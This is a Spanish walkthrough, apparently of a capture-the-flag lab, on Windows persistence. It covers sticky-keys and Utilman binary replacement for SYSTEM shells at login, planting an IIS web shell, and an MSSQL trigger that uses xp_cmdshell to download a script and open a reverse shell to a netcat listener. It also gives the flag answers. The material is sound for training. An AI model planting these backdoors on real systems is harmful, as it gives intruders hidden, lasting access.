Al pulsar combinaciones de teclas como CTRL + ALT + DEL, puedes configurar Windows para usar teclas especiales, lo que te permite pulsar los botones de una combinación de forma secuencial en lugar de simultáneamente. En ese sentido, si las teclas especiales están activadas, podrías pulsar y soltar CTRL, pulsar y soltar ALT y, finalmente, pulsar y soltar DEL para lograr el mismo efecto que al pulsar la  CTRL + ALT + DEL.

Para establecer la  persistencia  mediante Teclas especiales, aprovecharemos un acceso directo habilitado por defecto en cualquier instalación de Windows que nos permite activar las Teclas especiales pulsando SHIFT5 veces. Tras introducir el acceso directo, normalmente deberíamos ver una pantalla similar a la siguiente:

Tras pulsar SHIFTcinco veces, Windows ejecutará el binario C:\Windows\System32\sethc.exe. Si podemos reemplazar dicho binario por una carga útil de nuestra preferencia, podemos activarlo con el acceso directo. Curiosamente, incluso podemos hacerlo desde la pantalla de inicio de sesión antes de introducir las credenciales.

Una forma sencilla de acceder a la pantalla de inicio de sesión mediante una puerta trasera consiste en reemplazar sethc.exe con una copia de cmd.exe. De esa forma, podemos abrir una consola usando el atajo de teclas especiales, incluso desde la pantalla de inicio de sesión.

Para sobrescribir sethc.exe, primero debemos tomar posesión del archivo y otorgar a nuestro usuario actual permiso para modificarlo. Solo entonces podremos reemplazarlo con una copia de cmd.exe. Podemos hacerlo con los siguientes comandos:

Después de hacerlo, bloquea la sesión desde el menú de inicio:

Ahora debería poder pulsar SHIFTcinco veces para acceder a una terminal con privilegios de SYSTEM directamente desde la pantalla de inicio de sesión:

Desde tu terminal recién obtenida, ejecuta el comando C:\flags\flag14.exepara obtener tu bandera.

Utilman

Utilman es una aplicación integrada de Windows que se utiliza para proporcionar opciones de accesibilidad durante la pantalla de bloqueo:

Cuando hacemos clic en el botón de accesibilidad en la pantalla de inicio de sesión, se ejecuta C:\Windows\System32\Utilman.execon privilegios de SYSTEM. Si lo reemplazamos con una copia de cmd.exe, podemos omitir la pantalla de inicio de sesión nuevamente.

Para reemplazarlo utilman.exe, hacemos un proceso similar al que hicimos con sethc.exe:

Para activar nuestro terminal, bloquearemos la pantalla desde el botón de inicio:

Y finalmente, haga clic en el botón «Accesibilidad». Como lo reemplazamos utilman.execon una cmd.execopia, obtendremos un símbolo del sistema con privilegios de SYSTEM:

Desde tu terminal recién obtenida, ejecuta el comando C:\flags\flag15.exepara obtener tu bandera.

Responda las siguientes preguntas

Inserta aquí la bandera14

THM{BREAKING_THROUGH_LOGIN}

Inserta aquí la bandera15

THM{THE_LOGIN_SCREEN_IS_MERELY_A_SUGGESTION}

Tarea 8 Persistir a través de los servicios existentes

Si no quieres usar las funciones de Windows para ocultar una puerta trasera, siempre puedes aprovechar cualquier servicio existente que te permita ejecutar código. Esta tarea analizará cómo instalar puertas traseras en una configuración típica de servidor web. Sin embargo, cualquier otra aplicación en la que tengas cierto control sobre lo que se ejecuta debería ser vulnerable a puertas traseras de forma similar. ¡Las posibilidades son infinitas!

Uso de shells web

La forma habitual de lograrlo persistencia en un servidor web se hace subiendo un shell web al directorio web. Esto es trivial y nos otorgará acceso con los privilegios del usuario configurado enIIS, que por defecto es iis apppool\defaultapppool. Incluso si se trata de un usuario sin privilegios, tiene el privilegio especial SeImpersonatePrivilege, lo que facilita la escalada a administrador mediante diversas vulnerabilidades conocidas. Para obtener más información sobre cómo abusar de este privilegio, consulte la Sala de Privesc de Windows .

Comencemos descargando una plantilla web ASP.NET.  Aquí se proporciona una plantilla web lista para usar.(Se abre en una pestaña nueva), pero siéntase libre de usar el que prefiera. Transfiéralo a la máquina víctima y muévalo al directorio raíz web, que por defecto se encuentra en el C:\inetpub\wwwrootdirectorio:

Símbolo del sistema

C:\> move shell.aspx C:\inetpub\wwwroot\

Nota: Dependiendo de cómo cree/transfiera  shell.aspxel archivo, es posible que los permisos no permitan que el servidor web acceda a él. Si recibe un error de «Permiso denegado» al acceder a la URL del shell, simplemente otorgue permisos completos a todos los usuarios sobre el archivo para que funcione. Puede hacerlo con icacls shell.aspx /grant Everyone:F.

A continuación, podemos ejecutar comandos desde el servidor web apuntando a la siguiente URL:

http://10.64.160.170/shell.aspx

¡Usa tu shell web para ejecutar el comando C:\flags\flag16.exey obtener tu bandera!

Si bien las shells web ofrecen una forma sencilla de dejar una puerta trasera en un sistema, los equipos de seguridad suelen verificar la integridad de los archivos en los directorios web. Cualquier modificación en un archivo dentro de estos directorios probablemente activará una alerta.

Utilizar MSSQL como puerta trasera

Existen varias maneras de instalar puertas traseras en instalaciones de MSSQL Server. Por ahora, analizaremos una que aprovecha los disparadores. En pocas palabras, los disparadores en MSSQL permiten vincular acciones que se ejecutarán cuando ocurran eventos específicos en la base de datos. Estos eventos pueden abarcar desde el inicio de sesión de un usuario hasta la inserción, actualización o eliminación de datos en una tabla determinada. Para esta tarea, crearemos un disparador para cualquier instrucción INSERT en la HRDBbase de datos.

Antes de crear el disparador, primero debemos reconfigurar algunas cosas en la base de datos. Primero, necesitamos habilitar el xp_cmdshellprocedimiento almacenado. xp_cmdshellEste procedimiento viene incluido por defecto en cualquier instalación de MSSQL y permite ejecutar comandos directamente en la consola del sistema, pero viene deshabilitado por defecto.

Para habilitarlo, abra Microsoft SQL Server Management Studio 18el menú Inicio. Cuando se le solicite autenticación, use la autenticación de Windows (valor predeterminado) y se iniciará sesión con las credenciales de su usuario actual de Windows. De forma predeterminada, la cuenta de administrador local tendrá acceso a todas las bases de datos.

Una vez iniciada la sesión, haga clic en el botón Nueva consulta para abrir el editor de consultas:

Ejecuta lo siguienteSQLoraciones para habilitar las «Opciones avanzadas» en la configuración de MSSQL y proceda a habilitar xp_cmdshell.

Después de esto, debemos asegurarnos de que cualquier sitio web que acceda a la base de datos pueda ejecutarse xp_cmdshell. Por defecto, solo los usuarios de la base de datos con el sysadminrol podrán hacerlo. Dado que se espera que las aplicaciones web utilicen un usuario de base de datos restringido, podemos otorgar privilegios a todos los usuarios para suplantar la identidad del sausuario, que es el administrador de la base de datos por defecto:

USEmaster

GRANTIMPERSONATE ONLOGIN::sa to[Public];

Después de todo esto, finalmente configuramos un disparador. Comenzamos cambiando a la HRDBbase de datos:

USEHRDB

Nuestro disparador aprovechará xp_cmdshellPowerShell para descargar y ejecutar un .ps1archivo desde un servidor web controlado por el atacante. El disparador se configurará para ejecutarse cada vez que  INSERTse realice una operación en la Employeestabla de la HRDBbase de datos:

Ahora que la puerta trasera está configurada, vamos a crear evilscript.ps1en la máquina de nuestro atacante un shell inverso de PowerShell:

Necesitaremos abrir dos terminales para gestionar las conexiones implicadas en este exploit:

  • El disparador realizará la primera conexión para descargar y ejecutar el archivo evilscript.ps1. Nuestro disparador utiliza el puerto 8000 para ello.
  • La segunda conexión será una shell inversa en el puerto 4454 hacia nuestra máquina atacante.
Caja de ataque user@AttackBox$python3 -mhttp.server Serving HTTP on 0.0.0.0 port 8000 ( http://0.0.0.0:8000/) …Caja de ataque user@AttackBox$nc-lvp4454Listening on 0.0.0.0 4454

Con todo listo, vamos a acceder a  http://10.64.160.170/la aplicación web e insertar un empleado. Dado que la aplicación web enviará una instrucción INSERT a la base de datos, nuestro TRIGGER nos dará acceso a la consola del sistema.

¡Usa tu shell web para ejecutar el comando C:\flags\flag17.exey obtener tu bandera!

Responda las siguientes preguntas

Inserta aquí la bandera16

THM{EZ_WEB_PERSISTENCE}

Inserta aquí la bandera17

THM{I_LIVE_IN_YOUR_DATABASE}

Tarea 9 Conclusión

En esta sala, hemos cubierto los métodos principales que utilizan los atacantes para establecer persistencia en una máquina. Se podría decir persistencia es el arte de instalar puertas traseras en un sistema sin ser detectado durante el mayor tiempo posible sin levantar sospechas. Hemos visto persistencia métodos que dependen de diferentes componentes del sistema operativo, proporcionando diversas maneras de lograr el acceso a largo plazo a un host comprometido.

Aunque hemos mostrado varias técnicas, solo hemos cubierto una pequeña fracción de las descubiertas. Si le interesa aprender otras técnicas, tiene a su disposición los siguientes recursos:

Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *